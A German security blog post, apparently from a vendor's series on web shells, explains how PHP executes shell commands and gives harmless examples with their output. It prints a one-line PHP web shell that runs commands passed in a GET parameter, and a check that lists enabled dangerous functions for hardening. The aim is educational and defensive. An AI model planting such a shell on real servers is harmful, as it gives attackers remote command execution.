In Teil 1 dieser Serie haben wir uns angesehen, was eine Web Shell ist und warum ein Angreifer versuchen würde, eine zu verwenden. In Teil 2 dieser Serie werden wir uns einige spezifische Beispiele von Web-Shells ansehen, die mit der Programmiersprache PHP entwickelt wurden.
Web-Shells gibt es für fast jede Web-Programmiersprache, die man sich vorstellen kann. Wir haben uns für PHP entschieden, weil es die am weitesten verbreitete Programmiersprache im Web ist.
PHP-Web-Shells verwenden nichts anderes als eingebaute PHP-Funktionen, um Befehle auszuführen. Im Folgenden sind einige der häufigsten Funktionen zum Ausführen von Shell-Befehlen in PHP aufgeführt.
system()
Die system()
Funktion akzeptiert den Befehl als Parameter und gibt das Ergebnis aus.
Im folgenden Beispiel wird auf einem Microsoft Windows-Rechner der Befehl dir
ausgeführt, um eine Verzeichnisliste des Verzeichnisses zurückzugeben, in dem die PHP-Datei ausgeführt wird.
<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free
Das Ausführen des Befehls ls
auf einem Linux-Computer führt zu einem ähnlichen Ergebnis.
<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
Andere Befehle haben den gleichen Effekt.
<?php// Return the user the script is running undersystem("whoami");?>--> www-data
exec()
Die exec()
Funktion akzeptiert einen Befehl als Parameter, gibt das Ergebnis jedoch nicht aus. Wenn ein zweiter optionaler Parameter angegeben wird, wird das Ergebnis als Array zurückgegeben. Andernfalls wird nur die letzte Zeile des Ergebnisses angezeigt, wenn es wiederholt wird.
<?php// Executes but returns nothingexec("ls -la");?>-->
Wenn Sie echo
mit der exec()
Funktion verwenden, wird nur die letzte Zeile der Befehlsausgabe gedruckt.
<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php
Wenn ein zweiter Parameter angegeben wird, wird das Ergebnis in einem Array zurückgegeben.
<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )
shell_exec()
Die Funktion shell_exec()
ähnelt exec()
, gibt jedoch das gesamte Ergebnis als String aus.
<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php
passthru()
Die Funktion passthru()
führt einen Befehl aus und gibt die Ausgabe im RAW-Format zurück.
<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php
proc_open()
Die proc_open()
-Funktion kann schwierig zu verstehen sein (eine detaillierte Beschreibung der Funktion finden Sie in den PHP-Dokumenten). Mit proc_open()
können wir einen Handler (Prozess) erstellen, der für die Kommunikation zwischen unserem Skript und dem Programm verwendet wird, das wir ausführen möchten.
Backticks
Überraschenderweise sind sich nicht viele PHP-Entwickler dessen bewusst, aber PHP wird den Inhalt von backticks (`) als Shell-Befehl ausführen.
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data
Basierend auf dem Obigen ist das Folgende eine PHP-Web-Shell in ihrer einfachsten Form.
<?php system($_GET);?>
Es verwendet die Funktion system(), um Befehle auszuführen, die über den HTTP-Request-GET-Parameter „cmd“ übergeben werden.
Wir haben festgestellt, dass diese Funktionen (und einige andere) sehr gefährlich sein können. Noch gefährlicher ist, dass alle diese eingebauten PHP-Befehle standardmäßig aktiviert sind, wenn PHP installiert ist, und die Mehrheit der Systemadministratoren sie nicht deaktiviert.
Wenn Sie sich nicht sicher sind, ob sie auf Ihrem System aktiviert sind, wird im Folgenden eine Liste der gefährlichen Funktionen zurückgegeben, die aktiviert sind.
<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>
In einer Standardinstallation können wir sehen, dass alle oben genannten Funktionen aktiviert sind.
=> exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen
Teil 1
Eine Einführung in Web-Shells
Teil 2
Web-Shells 101 Mit PHP
Teil 3
Web-Shells in Deckung halten
Teil 4
Web-Shells in Aktion
Teil 5
Erkennung & Prävention
Häufig gestellte Fragen
Eine Web-Shell ist eine kleine Anwendung, die ein Angreifer auf Ihrem Webserver ausführt. Sie können diese Anwendung dann verwenden, um remote auf Ihren Server zuzugreifen und Befehle darauf auszuführen. Eine Web-Shell an sich ist niemals ein Angriff, sondern die Folge eines erfolgreichen Angriffs auf Ihre Website oder Webanwendung. Dies bedeutet, dass Sie, wenn Sie eine Web-Shell haben, ein viel ernsthafteres Problem haben, über das Sie sich Sorgen machen müssen.
Sehen Sie, wie eine Web-Shell in der Praxis funktioniert.
Böswillige Hacker verwenden Web-Shells, um die Kontrolle über einen bereits kompromittierten Server zu übernehmen. Erstens nutzen sie eine Sicherheitsanfälligkeit in Ihrer Website oder Webanwendung aus, z. B. SQL-Injection, Remotecodeausführung oder andere. Dann laden sie eine Web-Shell auf Ihren Webserver hoch. Von nun an können sie beliebige Befehle auf Ihrem Server ausführen.
Sehen Sie sich ein schrittweises Beispiel eines Angriffs an, der zu einer vollständigen Kompromittierung des Servers führt.
Sie können Web-Shells durch Protokollanalyse erkennen. Sie sollten sich jedoch nicht auf die Erkennung von Web-Shells konzentrieren, sondern Schwachstellen erkennen, die es Angreifern ermöglichen können, die Kontrolle über Ihren Server zu übernehmen. Selbst wenn Sie eine Web-Shell erkennen, hindert dies Angreifer nicht daran, die Kontrolle wieder zu übernehmen, wenn die Sicherheitsanfälligkeiten noch vorhanden sind. Verwenden Sie Acunetix, um Web-Schwachstellen zu erkennen und zu beseitigen.
Sehen Sie, was Acunetix Premium für Sie tun kann.
Der beste Weg, sich vor Web-Shells zu schützen, besteht darin, es unmöglich zu machen, sie auf Ihrem System zu verwenden. Sie können dies tun, indem Sie Ihren Server härten – alle überschüssigen Berechtigungen entfernen, potenziell gefährliche Funktionen blockieren, die Skriptausführung in Upload-Verzeichnissen einschränken usw. Es ist jedoch am besten, den Server vor einer Kompromittierung zu schützen, indem Sie Acunetix regelmäßig verwenden.
Lesen Sie mehr über Web Shell Erkennung und Schutz.
Holen Sie sich die neuesten Inhalte auf Web-Sicherheit
in Ihrem Posteingang jede Woche.
TEILE DIESEN BEITRAG
DER AUTOR

Web-Systemadministrator / -entwickler
Akis ist seit mehr als 13 Jahren im IT-Bereich tätig und entwickelte seine Fähigkeiten aus einer defensiven Perspektive als Systemadministrator und Webentwickler, aber auch aus einer offensiven Perspektive als Penetrationstester. Er verfügt über verschiedene professionelle Zertifizierungen in Bezug auf ethisches Hacken, digitale Forensik und Incident Response.